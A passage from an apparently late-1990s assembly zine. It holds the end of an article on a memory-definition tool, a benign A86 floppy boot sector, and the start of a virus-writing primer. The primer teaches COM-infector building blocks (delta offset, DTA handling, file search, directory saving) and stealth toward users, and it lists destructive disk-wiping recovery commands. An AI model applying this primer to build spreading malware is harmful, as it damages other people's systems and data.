program found the number 205 it would display something like "Interrupt call" regard‐ 
less of what number followed. 
 
While reading memory I also wanted a way to exclude data areas from being interpreted 
into definitions, so I added a new definition type called addresses which contain the 
address of the first and last bytes of a data area and a name to describe the data area. 
If these are turned on in the program then they are used instead of the normal definitions 
when reading that part of memory. 
 
To then take Define closer to being an assembler rather than a debugger I also included 
labels that label memory addresses and the destination of jump and branch instructions. 
 
I envision that a future version of Define written in machine code or a similar program 
will have a pop up list of definitons and use a point and click method of writing the 
code as opposed to the current method of scrolling through them from a different page. 
The future version will also need to be able to handle thousands of definitions as 
opposed to the few hundred it can use at a time now, in order to accommodate situations 
such as the following: 
 
To call the interrupt 21h,9 which prints a string it is necessary to put the function 
number 9 in AH and the address of the string in the registers DS:DX and then call the 
interrupt, 
 
MOV AH,9 
MOV DX,address 
INT 21h 
 
however it is also valid to put the number 9 in AH after the address of the string has 
been put in DS:DX, 
 
MOV DX,address 
MOV AH,9 
INT 21h 
 
To make a definition for this interrupt at least two definitions will need to be made 
and therefore a larger definition file. This also doesn't account for the situation in 
which the number 9 may have been filled three instructions earlier and is assumed to be 
correct at the time when the interrupt is called, in this case only the definitions for 
the instructions will be seen and not a definition for the interrupt. 
 
One of the best aspects to Define in my book is that the memory can be viewed according 
to a persons level of understanding (or will be as the definitions are written,) for 
example the program is able to only show definitions of a certain level and no other. I 
have chosen to represent the level of a definition by its color, I have used blue (1) 
for the lowest level which are the instruction set definitions and then green (2) for 
the next level which are the DOS, BIOS, etc definitions and then magenta (3) for the 
next level which may be definitions to clear the screen and print the date combined and 
so on, so that a person who knows little about machine code may set the maximum definition 
color to red (4) and still be able to write a program using Define. The advantage for 
those who know machine code is that they need not be restricted to only a high level 
definition, by turning the observance of the color off they can press the letter B when 
viewing a  high level definition and see the lower level definitions that make up the 
higher one. By repeatedly pressing B they can view the program as level 1 (blue) or even 
as the byte values themselves. 
 
The most radical departure from most assemblers is that when writing a program the program 
is composed in memory,  the byte values of the definitions are written directly to an 
unused or reserved area of memory where they can be further altered directly while 
reading memory. This could also be said to be the most dangerous method as it can easily 
lead to the accidental writing of other areas of memory, while this is true I have also 
found a benefit, if Define is stopped and then restarted the program being written will 
still be in memory without having been saved (depending on where in memory the program is 
being written.) 
 
The maker of a violin, while demonstrating it, must have said at one time or another "A 
good violinist could really show you how to play it", I too like the maker of a violin am 
sure there are better definition writers than myself. To become a high level language the 
high level definitions need to be written and I ask any person who has a passion for writing 
hand written code to send me a definition or two to include in the definition file. 
 
 
You can download Define from my homepage at 
  http://members.net‐tech.com.au/alaneb/default.htm 
and there is a step by step guide to using the program in the zip file called manual.doc. 
 
Please send any definitions or reponse to Alan at alien1_3@excite.com 
 
 
 
::/ \::::::. 
:/___\:::::::. 
/|    \::::::::. 
:|   _/\:::::::::. 
:| _|\  \::::::::::. 
:::\_____\:::::::::::...........................................FEATURE.ARTICLE 
                Writing a Boot Sector in A86 
                by Jan Verhoeven 
 
 
I have been coding for FreeDOS some time, but that is a C project and I 
rather hate C. It is so clumsy. That's also why I always code in A86 
assembly language. The "No Red Tape" assembler that makes life a lot 
easier for programmers. 
 
A86 is good. The debugger (D86) could be better, but not too much. I 
registered my version and I want to encourage everyone to follow my 
lead. The software is good enough to pay for it. And it ensures proper 
development of the software. If you can spare 20 bucks a month for the 
ISP, you should also spend this on quality software. 
During the last two years I have been submiutting bugs to Isaacson and 
all of them have been fixed in the latest version (4.03). 
 
Besides A86 being the best assembler around, it has some idiosyncracies 
to which some people need to get used to. Plus my personal preferences, 
which might add to that... 
 
 ‐ When I refer to a memory location I use square brackets. 
 ‐ I use single quotes for texts 
 ‐ I use most of the A86 features.
 
Some of the A86 features are: 
 
 ‐ very powerful macro language 
 ‐ numbers starting with a ZERO are ALWAYS hex, no matter how they end 
 ‐ easy IF statements to reduce nonsense labelnames 
 ‐ local labels, like below: only two local labels. 
 
I started out on the Z‐8000, back in 1981, switched to the Z‐80, Z‐8, 
8086, PIC 16Cxx, some 8051 (Barffff), some 68K (yummie yummie). Mainly 
in ASM and else in Modula‐2. I have some really cool and useful routines 
lying around for DOS. And I'm gonna share them with the world. 
 
The following code is a bootsector which can be used for noon‐bootable 
disks. In this case for a 1.44 Mb floppy disk. You could use it to make 
a commercial out of every non‐bootable disk. 
 
First the code: 
 
‐‐‐‐‐ Code file ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
name   flopnb 
title   Floppy disk boot sector, non‐bootable, 1.44 Mb 
page   80, 120 
 
; version 1.0  : It works        : OK 12‐12‐1998 
 
lf   = 10 
cr   = 13 
 
   org   0 
 
   jmp   short main  ; this is critical! 
   nop      ; and this too! 
; ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
 
OEMname  db    'StupiDOS' 
BpS   dw    512    ; bytes per sector 
SpA   db    1    ; sectors per allocation unit (=cluster) 
ResSect  dw    1    ; reserved sectors, starting from sector 0 
NrFats   db    2    ; number of FAT's on this disk 
FiR   dw    224    ; number of entries in ROOT directory 
Total   dw    2880    ; number of sectors per disk 
ToM   db    0F0    ; Type of Media 
SpF   dw    9    ; Sectors per Fat 
SpT   dw    18    ; sectors per Track 
Heads   dw    2    ; number of heads 
Hidden   dw    0, 0    ; Hidden sectors 
GrandTot dd    0    ; total for disks over 32 Mb 
IntId   db    0, 0 
BootSign db    029    ; extended boot signature 
VolumeID dd    0566E614A  ; serial number ... 
DiskLabl db    'DOS is MINE'  ; volume label 
FATtype  db    'FAT‐12  '  ; FAT type 
   db    'VeRsIoN=1.0', 0 ; for version control only 
; ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
 
L1:   push  si    ; stack up return address 
   ret      ; and jump to it 
 
print:   pop   si    ; this is the first character 
   mov   bx, 0    ; video page 0 
L0:   lodsb      ; get token 
   cmp   al, 0    ; end of string? 
   je    L1    ; if so, exit 
   mov   ah, 0E    ; else print it 
   int   010    ; via TTY mode 
   jmp   L0    ; until done 
; ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
 
main:   cld      ; init direction flag 
   cli      ; take care of 1 faulty batch of 88's in 1980 
   mov   ax, 07C0   ; this is the segmentvalue at start 
   mov   ds, ax    ; store it in DS, ES 
   mov   es, ax 
   mov   ax, 0    ; clear ax ... 
   mov   ss, ax    ; ... to prime the SS register 
   mov   sp, 07C00  ; set stackpointer 
   sti      ; OK, interrupts may come again 
   call  print    ; show that message 
   db    cr 
   db    'This is not a bootable floppy. ' 
   db    'Please strike any key to reboot.', cr, lf 
   db    'This floppy disk is formatted by FreeDOS', cr, lf, lf 
   db    'Please visit us at www.freedos.org', cr, lf, 0 
 
L0:   mov   ah, 1    ; wait for keypress by ... 
   int   016    ; ...  interrogating keyboard 
   jz    L0    ; if no key pressed, loop back 
   mov   ax, 0    ; else address system variables 
   mov   es, ax    ; in order to ... 
      es mov   w [0472], 01234  ; signal: NO POST and go on ... 
   jmp   0FFFF:0000  ; with the next reboot 
 
   org   01FE    ; look for the dotted line and ... 
   db    055, 0AA   ; ... don't forget to sign! 
 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ Code file ‐‐‐‐‐ 
 
The first three lines are straightforward: name, title and page. Not 
much to tell about that. Then some version info for the programmer, some 
equates and the ORG statement. 
 
If no ORG is supplied, A86 will assume it is ORG 0100. I ordered an ORG   0, 
which means several things: 
 
 ‐ start assembly at address 0 
 ‐ the output file will be called *.BIN 
 
Bootsectors must start with some particular bytes. Therefore the first 
three bytes need to be either a short jump, a variable offset plus a 
NOP. Or a (long) jump without a NOP. 
 
At offset 03 of the bootsector starts the DPB (Disk Parameter Block) 
which tells the OS what kind of disk this is. It starts off with an OEM 
name. Please put ASCII in there, or virus scanners might trip on it with 
a "Bloodhound warning". 
 
After the description of the geometry of this disk, I included an 
extended boot signature, since we have ample room left. It contains 
Volume ID, Disk Label, and FAT‐type strings. 
 
The PRINT subroutine is a nice one. It will print the ASCIIZ string that 
follows it. This is quite a handy routine since you can simply change 
messages without having to worry about the address and length of the 
actual message. 
 
Print is called like this: 
 
  call   print 
  db     'Hello World', cr, lf, 0 
  ... 
 
Print takes the "return address" off the stack. This of course is no 
return address but the address of the message. What follows is easy: 
 
 ‐ get next character 
 ‐ IF  (non‐zero)  print character  ELSE  leave loop  ENDIF 
 ‐ the current si pointer is the actual return address... So we push it 
 ‐ and return to caller. 
 
Perhaps a jmp  si could be possible too, but I like clear code, in most 
cases. If you need obfuscated code, switch to C. :) 
 
The actual program is very simple. It just sets up a stack and the 
segment registers, and then prints that it will do nothing. Gee, what a 
life... 
 
After the message we wait for a key and next signal: 
 
 ‐ fast reboot 
 ‐ jump to the reboot vector 
 
Whatever there will be between end of code and offset 01FE is not 
relevant (it could be your ad) but the last two bytes of the boot sector 
must be a valid boot signature. 
 
That's it. With this code you can make your own custom non‐bootsector. 
 
I hope this software has also shown that linking and assuming are 
supported by A86, but certainly not necessary. Also, this software does 
not rely on any HLL calls. It's just assembly language as it should be. 
 
I want to remark that this software is Open Source, according to the rules 
of the GNU GPL. Make sure you understand these rules before embedding this 
routine in your own software. 
 
 
 
::/ \::::::. 
:/___\:::::::. 
/|    \::::::::. 
:|   _/\:::::::::. 
:| _|\  \::::::::::. 
:::\_____\:::::::::::...........................................FEATURE.ARTICLE 
               A Basic Virus Writing Primer 
               by Chili 
 
 
What horror  must the ignorant victim  undergo as it  becomes aware  of a being 
that lives inside its own body, growing ever stronger, reproducing itself until 
its host, unable to bear more finally colapses and dies an horrible death. What 
panic  it must  feel,  knowing nothing  can be  done  in time  to avoid  such a 
terrible fate.  A predator so tiny, that unsuspectedly it spreads from one host 
to  another,  by  so  rapidly  infecting  millions.  An  organism,  so  utterly 
resourceful and small, that it stays most of the time undetectable, breeding in 
the shadows. 
 
Computer viruses aren't much  different from their biological counterpart,  but 
instead of infecting cells they infect files and boot sectors.  In this article 
I'll try to explain the basics of file viruses,  more specifically runtime (aka 
direct  action)  COM  infectors.   This  will  cover  most  simple  search  and 
replication  methods used and  is only to be  considered as an  introduction to 
virus writing.  After some thought I've decided not  to include any full source 
code  for a  working virus,  since anyone  with  half  a brain  and a  somewhat 
mediocre  knowledge of assembly can  easily build a virus out  of the pieces of 
code  that will  be presented.  Furthermore  it's not  my wish to  increase the 
number of viruses in the wild, thing that would undoubtedly happen by the hands 
of some I‐have‐no‐brain‐and‐can't‐program‐hellspawn bent on random destruction. 
Anyway, on with the article... 
 
 
Some Sort Of 'Programming Virii Safely' Guide 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
The only really safe way  to program viruses  is to know what you're  doing and 
understand at  every time how the virus is behaving.  If you test a virus on your 
own machine without fully comprehending its ins and outs, then you will most 
likely have your system trashed. It would be best if you had a second computer 
just for this purpose, since a buggy programming can lead to a lot of crashes 
and general havoc.  If not, a Ramdrive can be created and a Subst can be done, 
so that all accesses to  physical drives are  redirected to the virtual one. 
Assuming that you want your Ramdrive to have 512‐byte sectors, a limit of 1024 
entries and to allocate 2048K of extended memory,  you must add this line to your 
CONFIG.SYS: 
 
DEVICE=C:\DOS\RAMDRIVE.SYS 2048 512 1024 /E 
 
Then you must copy COMMAND.COM  and SUBST.EXE to the Ramdrive so that DOS won't 
hang and also in order for you to be able to delete all redirections when done. 
And to associate all  physical drives to the newly  created virtual drive  (and 
assuming that it is D: and all your drives are A: and C:) you should do: 
 
SUBST A: D:\ 
SUBST C: D:\ 
 
Of course this last method isn't  perfect. You should always know how to 
completely remove a virus before running it, or you'll end cleaning up the mess 
for quite some time. 
 
Just use  common sense.  For example,  if  you're  writing a  virus aimed  at a 
specific file type,  all you have  to do is copy all files of that  type you do 
not wish to  be infected to a different extension and when  you're done testing 
just  switch those files  back to their original extension.  While testing  you 
should  also place breakpoints  and warning  messages throughout  the code,  so 
that you know at all times what  the virus is doing as well as it will help you 
debugging it. Also you should program and test different routines separately as 
it will reduce complexity and bug proneness.  Lastly the use of memory and disk 
mapping/editing utilities,  a set of good anti‐virus and most important the use 
of backups is encouraged, so that you can keep track  of things and are able to 
restore your system in case something goes wrong. 
 
In case things  get really out of hand  you should always  have a clean "rescue 
disk" which you should  create by doing a FORMAT A: /S /U and then copying into 
it some  useful DOS files  like FORMAT.COM,  UNFORMAT.COM, FDISK.EXE,  SYS.COM, 
MEM.EXE,  ATTRIB.EXE, DEBUG.EXE,  CHKDSK.EXE, SUBST.EXE,  a text editor just in 
case and whichever other  files you may find useful.  Also an anti‐virus should 
be included along.  Don't forget to write protect the disk and put it in a safe 
place.  The first thing  you should  do in order to clean  up your system is to 
boot from  your  previously  created disk  and  use your  anti‐virus clean  and 
restoration features, as most times this will work, saving you a lot of hassle. 
In last resort,  you should run FDISK /MBR to re‐write the  executable code and 
error messages of the partition sector,  then run FDISK and first delete,  then 
create a new partion table and finally run FORMAT C: /S /U.  Your system should 
now be  completely clean and you can restore your backups at this time.  If all 
you want is to clean a floppy disk instead of a hard disk, then all you have to 
do is run FORMAT A: /S /U to create a new boot sector,  FAT and root directory. 
Of course that after this procedures all data will be lost, so as I said before 
this should only be used if you're really desperate. 
 
Above all, don't forget to backup, backup, backup! 
 
 
Tools & References 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
In order to write and test a sucessful virus  you need some useful programs and 
references, such as: 
 
‐ An assembler (TASM, MASM, Intel's ASM86, A86, NASM, ...) ‐  I recommend using 
  Turbo Assembler, as all code I will provide will be tested with it. 
‐ A linker (TLINK, LINK, Intel's LINK86...) ‐ Again I recommend Turbo Linker. 
‐ A debugger (Dos' DEBUG, TD, ...) ‐ Dos' DEBUG is old but will do the job, you 
  can use Turbo Debugger though, as it is somewhat better. 
‐ A text and a hex editor of your choice. 
‐ A disassembler (DEBUG, Sourcer, IDA, ...) ‐ You can use Dos' DEBUG, but would 
  be better  if you used Sourcer which is very  good or IDA which  is excellent 
  but very large in size. 
‐ Some other things like TSR Utilities by TurboPower Software, Norton Utilities 
  and more. 
‐ A good set of Anti‐Virus packages, such as ThunderBYTE Anti‐Virus (as a great 
  set of utilities  to backup your bootsector,  partition table and CMOS),  AVP 
  (AntiViral Toolkit Pro) and F‐PROT.  Also available are  McAfee (now  Network 
  Associates, I think) VirusScan, Dr.Solomon's AVTK and Norton Anti‐Virus. 
‐ Ralph Brown's  x86/MSDOS Interrupt  List,  Norton Guides'  Assembly  Language 
  database, David Jurgens' HelpPC, DOSREF (Programmers' Technical Reference for 
  MSDOS and the IBM PC) and others you find useful. 
 
 
On Viruses 
‐‐‐‐‐‐‐‐‐‐ 
There are two things that must always be present on every working virus,  first 
the search routine that seeks for  suitable targets for the virus to infect and 
lastly the replication routine that copies the virus to the found target. Other 
routines may also be added in order to enhance the virus and the two more basic 
and  essencial parts  can be improved,  increasing its performance,  albeit its 
complexity too. 
 
I intentionally left out a major routine, the payload (aka activation routine), 
though not necessary, it is present in almost all viruses.  Sincerely I see  no 
real use for  most activation routines,  since all they do is seriously cripple 
the virus's chance to spread. Besides, all good payloads must be custom made (as 
should all viruses,  but that's another story...), so you'll have to build your 
own if  you want one.  For some old  good examples of  non‐destructive payloads 
take a look at Ambulance Car, Cascade, Den Zuk, Corporate Life and Crucifixion. 
 
All code presented hereafter was first tested on both of my machines and works, 
but this  doesn't mean that it will work on  all possible configurations,  so I 
can't fully guarantee that it won't ever cause unwanted damage. It's bad enough 
that  your virus  may unwillingly  trash someone's  data,  so don't go  writing 
destructive payloads just for the hell of it. Programming ‐ and therefore virus 
writing ‐ is an art, treat it as such. 
 
 
A Word On Error Trapping 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
Error trapping is regrettably one of the most forgotten things in viruses.  You 
should always  account for errors in order not to  crash and even trash things. 
This doesn't mean that you should present cute DOS‐like error messages, as this 
would  alert the  user,  instead you  should  process  the information  and act 
accordingly. That most times just means that you should abort the virus ongoing 
operations and restore control back to the host. 
 
 
Optimization 
‐‐‐‐‐‐‐‐‐‐‐‐ 
All code will be presented in an unoptimized form for ease of understanding and 
also because all routines are shown  seperate from each other so  that they are 
portable to  different kinds of viruses.  When writing a full virus  you should 
always optimize your code, so that it takes as little space as possible.  Don't 
use procedures unless you can save space by doing so.  Also don't use variables 
when you can use registers (for example the F_Handle variable needs not be used 
since you could just use the stack or some free register ‐ see below). 
 
 
Delta Offset 
‐‐‐‐‐‐‐‐‐‐‐‐ 
When you're programming a virus that will always be placed at a fixed location, 
like overwriting  and prepending viruses,  you won't have to worry about any of 
this, but if you're writing a virus that relocates part of its code to a random 
location,  such as appending and midfile infectors,  you'll have to account for 
the  displacement.  This doesn't affect most  jumps and calls,  since they  are 
relative,  but data on the other hand is refered by an absolute offset.  Things 
would work fine the first  time you assembled and run the virus,  but not after 
the first infection when all memory addresses would then be changed. 
 
To account for this all one has to do is: 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
Delta_Offset: 
  call  Find_Displacement 
Find_Displacement: 
  pop  bp 
  sub  bp, offset Find_Displacement 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
What this piece of code does is, first issue a CALL to the next instruction, so 
the IP (Instruction Pointer) for it will pushed into the stack,  next we POP it 
to the  register BP  (it is good programming  to use BP,  which stands for Base 
Pointer), and finally we SUBtract the original OFFSET determined when the virus 
was compiled.  Of course the first time the virus is run, the displacement will 
be zero, only on subsequent runs will it change according to the host size. 
 
I'll be presenting code for infectors that require delta offset calculation, so 
for all the other infectors that don't, in order to accommodate any of the code 
presented hereafter you'll just have to strip out any displacement calculations 
as in the following examples: 
 
Replace 
  lea  dx, [bp+offset DTA] 
With 
  lea  dx, DTA 
 
Replace 
  mov  word ptr [bp+F_Handle], ax 
With 
  mov  F_Handle, ax 
 
Once you've given it a little thought and figured it out it's not as hard as it 
may  first seem.  Of course that  even if you're  programming a  fixed location 
virus you  can still leave all code as if you were writing one that  needed you 
to  calculate  the  delta  offset,  since  the  displacement  is  always  zero. 
Nevertheless you shouldn't do this,  mainly because it adds unnecessary size to 
the virus and it is extremely sloppy (and lazy) programming (copying?!?!). 
 
 
.COM File Structure 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
COM files are raw binary executables,  designed for compatibility  with the old 
CP/M operating system.  Whenever a COM file is executed, DOS first sets aside a 
segment (64K) of memory for it,  then builds a PSP  (Program Segment Prefix) in 
the first  256 bytes,  after which the  program is loaded into.  Before passing 
control to the program DOS does some things first, among which are: 
 
   1) Register AX  reflects the validity  of drive specifiers  entered with the 
      first two parameters as follows: 
  AL=0FFh if the  first parameter  contained an invalid drive  specifier, 
    otherwise AL=00h 
  AL=0FFh if the second  parameter contained an invalid  drive specifier, 
    otherwise AL=00h 
 
   2) All four segment registers contain the segment address of the PSP control 
      block 
 
   3) The Instruction Pointer (IP) is set to 100h 
 
   4) The SP register is set to the  end of the program's segment and a word of 
      zeroes is placed on top of the stack 
 
In case  any of  this  things  are  changed  during  the virus  execution,  you 
shouldn't forget to restore them before passing control back to the host. 
 
So, given this, a COM file program can only have a maximum size of 65277 bytes, 
since you have to account for the PSP and  at least for the two  bytes occupied 
by the stack.  Here is how a COM file looks when loaded in memory: 
 
   FFFFh +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ <‐ SP 
   |          | 
   |   Stack        | 
   |          | 
   +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ 
   |          | 
   | Uninitialized Data | 
   |          | 
   +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ 
   |          | 
   |   COM File Image   | 
   |          | 
    100h +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ <‐ IP 
   |          | 
   |    PSP        | 
   |          | 
      0h +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+ <‐ CS, DS, ES, SS 
 
Don't forget to account for  stack growth needed by your program as well as any 
uninitalized data, for if you don't there is a chance that it will crash, since 
the stack  may grow large  enough to overwrite  data or code,  or your data may 
wrap around and overwrite the PSP and the code. 
 
 
Program Segment Prefix (PSP) 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
A PSP is created  by DOS for all programs and contains  most of the information 
one needs to know about them. Its structure looks like this: 
 
   [ PSP ‐ Program Segment Prefix ] 
 
   Offset  Size    Description 
   ‐‐‐‐‐‐  ‐‐‐‐    ‐‐‐‐‐‐‐‐‐‐‐ 
   0h    Word    INT 20h instruction 
   2h    Word    Segment address of top of the current program's 
        allocated memory 
   4h    Byte    Reserved 
   5h    Byte    Far call to DOS function dispatcher (INT 21h) 
   6h    Word    Available bytes in the segment for .COM files 
   8h    Word    Reserved 
   Ah    Dword    INT 22h termination address 
   Eh    Dword    INT 23h Ctrl‐Break handler address 
   12h    Dword    DOS 1.1+ INT 24h critical error handler address 
   16h    Byte    Segment of parent PSP 
   18h       20 Bytes    DOS 2+ Job File Table (one byte per file handle 
        FFh = available/closed) 
   2Ch    Word    DOS 2+ segment address of  process' environment 
        block 
   2Eh    Dword    DOS 2+ process' SS:SP  on entry to last INT 21h 
        function call 
   32h    Word    DOS 3+ number of entries in JFT 
   34h    Dword    DOS 3+ pointer to JFT 
   38h    Dword    DOS 3+ pointer to previous PSP 
   3Ch       20 Bytes    Reserved 
   50h        3 Bytes    DOS 2+ INT 21h/RETF instructions 
   53h        9 Bytes    Unused 
   5Ch       16 Bytes    Default unopened File Control Block 1 (FCB1) 
   6Ch       16 Bytes    Default unopened File Control Block 2 (FCB2) 
   7Ch        4 Bytes    Unused 
   80h    Byte    Command line length in bytes 
   81h      127 Bytes    Command line (ends with a Carriage Return 0Dh) 
 
Note:  For a more  detailed explanation  of the  PSP structure,  including many 
undocumented features, see Ralph Brown's x86/MSDOS Interrupt List. 
 
And here are the default file handles for the Job File Table (JFT): 
 
   [ DOS Default/Predefined File Handles] 
 
   0 ‐ Standard Input Device, can be redirected (STDIN) 
   1 ‐ Standard Output Device, can be redirected (STDOUT) 
   2 ‐ Standard Error Device, can be redirected (STDERR) 
   3 ‐ Standard Auxiliary Device (STDAUX) 
   4 ‐ Standard Printer Device (STDPRN) 
 
The  File Control Block  (FCB)  and the  Environment Block  structures will  be 
covered on a later article, as they aren't needed for now. 
 
 
Disk Transfer Area (DTA) 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
For all  file reads and writes  performed using FCB function calls,  as well as 
for "Find First"  and "Find Next" calls  using FCBs or not,  DOS uses a  memory 
buffer called Disk Transfer Area,  which is by default located at offset 80h in 
the PSP and is 128 bytes long (this area is also used by the command tail),  so 
in order  not to interfere with  whichever command line parameters  there might 
be,  the Disk Transfer Address should be set to a different location in memory. 
This is done like this: 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
Set_DTA: 
  mov  ah, 1Ah 
  lea  dx, [bp+offset DTA] 
  int  21h 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
;Interrupt:  21h 
;Function:  1Ah  ‐ Set Disk Transfer Address (DTA) 
;On entry:  AH  ‐ 1Ah 
;    DS:DX  ‐ Address of DTA 
;Returns:  Nothing 
 
Of course  that before passing control  back to the host you should restore the 
Disk Transfer Address back to its original value: 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
Restore_DTA: 
  mov  ah, 1Ah 
  mov  dx, 80h 
  int  21h 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
A sufficient  buffer area  should always  be reserved,  as DOS will  detect and 
abort any disk transfers that would  fall off the end of the current segment or 
wrap around within the segment. 
 
 
FindFirst Data Block 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
Upon a  successful "Find First Matching File"  function call the  Disk Transfer 
Area is filled with a  FindFirst Data Block which contains info on the matching 
file found, also after a  "Find Next Matching File" function call  that data is 
updated. As we'll only be using the DTA for this, all we need to when setting a 
new one is to have a 43 bytes long buffer so that we can allocate the FindFirst 
Data Block: 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
DTA: 
   Reserv  db  21  dup  (?) 
   F_Attr  db  (?) 
   F_Time  dw  (?) 
   F_Date  dw  (?) 
   F_Size  dd  (?) 
   F_Name  db  13  dup  (?) 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
And here is the FindFirst Data Block structure: 
 
   [ FindFirst Data Block ] 
 
   Offset  Size    Description 
   ‐‐‐‐‐‐  ‐‐‐‐    ‐‐‐‐‐‐‐‐‐‐‐ 
   0h       21 Bytes    Reserved  for DOS  use on subsequent  Find Next 
        calls ‐ is different per DOS version 
   15h    Byte    Attribute of matching file 
   16h    Word    File time stamp 
   18h    Word    File date stamp 
   1Ah    Dword    File size in bytes 
   1Eh       13 Bytes    ASCIIZ filename and extension 
 
The file attribute field looks like this: 
 
   [File Attribute] 
 
   Bit(s)      Description 
   ‐‐‐‐‐‐      ‐‐‐‐‐‐‐‐‐‐‐ 
   7 6 5 4 3 2 1 0 
   . . . . . . . 1    Read‐only 
   . . . . . . 1 .    Hidden 
   . . . . . 1 . .    System 
   . . . . 1 . . .    Volume label 
   . . . 1 . . . .    Directory 
   . . 1 . . . . .    Archive 
   x x . . . . . .    Unused 
 
The file time field is like this: 
 
   [File Time] 
 
   Bit(s)        Description 
   ‐‐‐‐‐‐        ‐‐‐‐‐‐‐‐‐‐‐ 
   F E D C B A 9 8 7 6 5 4 3 2 1 0
   . . . . . . . . . . . x x x x x  Seconds/2 (0..29) ‐ 2 second increments 
   . . . . . x x x x x x . . . . .  Minutes (0..59) 
   x x x x x . . . . . . . . . . .  Hours (0..23) 
 
And finally the file date field like this: 
 
   [File Date] 
 
   Bit(s)        Description 
   ‐‐‐‐‐‐        ‐‐‐‐‐‐‐‐‐‐‐ 
   F E D C B A 9 8 7 6 5 4 3 2 1 0
   . . . . . . . . . . . x x x x x  Day (1..31) 
   . . . . . . . x x x x . . . . .  Month (1..12) 
   x x x x x x x . . . . . . . . .  Year since 1980 (0..119) 
 
 
Current Directory Preservation 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
If you're searching  for files outside the  directory where your virus  was run 
from, you must save the old directory and restore it when you're done. First to 
save it you must do: 
 
‐‐8<‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 
Get_Directory: 
  mov  ah, 47h 
  mov  dl, 0 
  lea  si, [bp+offset Orig_Dir] 
  int  21h 
  jnc  Find_First 
  jmp  Return_Control 
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐8<‐‐ 
 
;Interrupt:  21h 
;Function:  47h  ‐ Get Current Directory 
;On entry:  AH  ‐ 47h 
